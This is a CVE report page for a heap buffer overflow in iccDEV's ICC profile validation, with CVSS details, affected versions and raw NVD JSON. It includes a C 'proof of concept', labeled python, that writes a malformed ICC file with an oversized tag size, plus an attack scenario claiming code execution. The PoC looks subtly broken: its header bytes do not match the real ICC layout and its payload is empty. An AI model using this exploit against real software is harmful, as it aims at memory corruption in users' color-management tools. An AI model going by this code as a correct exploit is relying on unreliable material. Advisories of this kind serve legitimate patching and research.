Security Vulnerability Report
中文
CVE-2026-21676 CVSS 8.8 HIGH

CVE-2026-21676

Published: 2026-01-06 04:15:54
Last Modified: 2026-01-12 20:55:47

Description

iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1 and below have a Heap-based Buffer Overflow in its CIccMBB::Validate function which checks tag data validity. This issue is fixed in version 2.3.1.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> // Minimal ICC Profile structure for PoC typedef struct { char signature[4]; // 'acsp' for color profile int profile_size; // Profile size char cmm_id[4]; // CMM identifier int profile_version; // Profile version char profile_class[4]; // Device class char color_space[4]; // Color space char pcs[4]; // PCS (Profile Connection Space) // ... other fields char tag_count[4]; // Number of tags } ICC_Profile_Header; // Malicious tag data to trigger overflow in CIccMBB::Validate unsigned char malicious_icc_profile[] = { // ICC Profile Header 0x61, 0x63, 0x73, 0x70, // 'acsp' signature 0x00, 0x00, 0x00, 0x00, // Profile size (placeholder) 0x00, 0x00, 0x00, 0x00, // CMM ID 0x02, 0x00, 0x00, 0x00, // Version 2.0 0x00, 0x00, 0x00, 0x00, // Profile class 0x52, 0x47, 0x42, 0x20, // 'RGB ' 0x58, 0x59, 0x5A, 0x20, // 'XYZ ' // ... more header data 0x00, 0x00, 0x00, 0x01, // Tag count = 1 // Tag entry 0x63, 0x6D, 0x66, 0x66, // 'cmff' - tag signature 0x00, 0x00, 0x00, 0x00, // Offset 0xFF, 0xFF, 0xFF, 0xFF, // Size (malicious: very large value) // Malicious payload to overflow heap buffer }; int main() { printf("CVE-2026-21676 PoC - iccDEV Heap Buffer Overflow\n"); printf("This PoC generates a malicious ICC profile with oversized tag data.\n"); printf("Target: CIccMBB::Validate function in iccDEV <= 2.3.1\n\n"); // Set the profile size int profile_size = sizeof(malicious_icc_profile); malicious_icc_profile[4] = (profile_size >> 24) & 0xFF; malicious_icc_profile[5] = (profile_size >> 16) & 0xFF; malicious_icc_profile[6] = (profile_size >> 8) & 0xFF; malicious_icc_profile[7] = profile_size & 0xFF; // Save malicious profile to file FILE *fp = fopen("malicious_profile.icc", "wb"); if (fp) { fwrite(malicious_icc_profile, 1, sizeof(malicious_icc_profile), fp); fclose(fp); printf("[+] Malicious ICC profile saved to malicious_profile.icc\n"); printf("[+] Size: %d bytes\n", profile_size); } return 0; } // Attack scenario: // 1. Attacker crafts a malicious ICC profile with oversized tag data // 2. Tag size field is set to an extremely large value (0xFFFFFFFF) // 3. When CIccMBB::Validate processes the tag, it allocates insufficient buffer // 4. Heap buffer overflow occurs during data copy operations // 5. Attacker can achieve code execution via heap corruption

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21676", "sourceIdentifier": "[email protected]", "published": "2026-01-06T04:15:54.250", "lastModified": "2026-01-12T20:55:47.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Versions 2.3.1 and below have a Heap-based Buffer Overflow in its CIccMBB::Validate function which checks tag data validity. This issue is fixed in version 2.3.1.1."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Las versiones 2.3.1 e inferiores tienen un desbordamiento de búfer basado en montículo en su función CIccMBB::Validate, que verifica la validez de los datos de las etiquetas. Este problema se corrige en la versión 2.3.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.1", "matchCriteriaId": "0E50DFFC-9185-4969-85A7-6D3976699720"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/e4c38a67d06073b38d58580b0cfc78ca61005f84", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/215", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-j5vv-p2hv-c392", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}